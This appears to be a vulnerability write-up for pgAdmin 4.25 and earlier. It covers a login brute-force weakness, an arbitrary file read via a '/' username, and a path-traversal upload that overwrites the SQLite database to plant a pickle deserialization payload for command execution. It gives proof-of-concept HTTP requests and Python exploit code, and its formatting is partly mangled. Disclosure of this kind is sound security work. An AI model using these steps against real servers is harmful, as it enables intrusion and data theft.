Multiple vulnerabilities in pgadmin <= 4.25
pgadmin4 vulnerabilities Affected version: 4.25 and below, fixed 4.26
https://github.com/postgres/pgadmin4/tree/REL-4_25
Affected version: 4.25 and below, fixed 4.26
Three vulnerabilities found
pgadmin login verification defect lead to easy brute force cracking
Vulnerability analysis:
pgadmin uses flask-security to build authentication login, but when the user name is entered as a number,
the program will perform user_model.query.get query and return the object:
/flask_security/datastore.py:521
When the user object exists, pgadmin will prompt that the password is incorrect. When logging in to the system,
you don’t need to know the email and username. You only need to enter the number and brute force it to get the system login permission easily.
test environment:
pgadmin4
username: user@pgadmin.com
When the number 1 is entered, the password is incorrect, indicating that the database information is matched successfully
You can traverse and blast all the passwords of the correct login account through the primary key id to enter the system:
pgadmin File Manage interface arbitrary file reading
Vulnerability demo:
1) Use the administrator account to add a account and use the PUT method to modify the user name to “/“:
1
|
PUT /user_management/user/2 HTTP/1.1
|
2) modify username to “/“ success:
3)Find the download interface from the code to download any file:
1
|
GET /file_manager/filemanager/6122200/?mode=download&path=/pgadmin4/config.py HTTP/1.1
|
Vulnerability analysis:
def get_storage_directory() Used to get the upload file storage directory:
The Code uses os.path.join to combine username and default storage directory,If the user name is “/“, os.path.join defaults to “/“,so also bypass function check_access_permission() :
Arbitrary file upload overwrites sqlite execution deserialization causing command execution
filemanage file name upload across directories:
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
POST /file_manager/filemanager/8388910/ HTTP/1.1
Host: 192.168.123.120 Content-Length: 12957 X-pgA-CSRFToken: ImQ5NmM3MTVkYzU4YmI3N2I2YTE4MWQxMGUwODBlODNhYjc4ZTRjYjgi. Accept: application/json Cache-Control: no-cache X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=—-WebKitFormBoundarywdHFG1O2RvkHKzD6 Origin: https://192.168.123.120 Referer: https://192.168.123.120/browser/ Accept-Encoding: gzip, deflate Accept-Language: zh,zh-TW;q=0.9,zh-CN;q=0.8 Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; pga4_session=; PGADMIN_LANGUAGE=en Connection: close ——WebKitFormBoundarywdHFG1O2RvkHKzD6 Content-Disposition: form-data; name=”mode” add ——WebKitFormBoundarywdHFG1O2RvkHKzD6 Content-Disposition: form-data; name=”currentpath” / ——WebKitFormBoundarywdHFG1O2RvkHKzD6 Content-Disposition: form-data; name=”newfile”; filename=”../../../../../../../../../../var/lib/pgadmin/pgadmin4.db” Content-Type: image/gif database content………………………………… |
1) overwrites sqlite database:
2)Create a pickle object for the process.desc field:
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
import os
import pickle import socket import pty class exp(object): def __reduce__(self): a = python -c “import” return (os.system,(a,)) e = exp() s = pickle.dumps(e) import sqlite3 # OK, now for the DB part: we make it…: db = sqlite3.connect(‘pgadmin4.db’) db.execute(‘UPDATE process set desc = (?) where pid=”123″‘, (s,)) db.commit() db.close() |
database content:
3)GET requests /misc/bgprocess/ Trigger the deserialization operation to read the content of the process.desc field to cause the command to execute:
如无特殊说明,均为原创内容。转载请注明出处!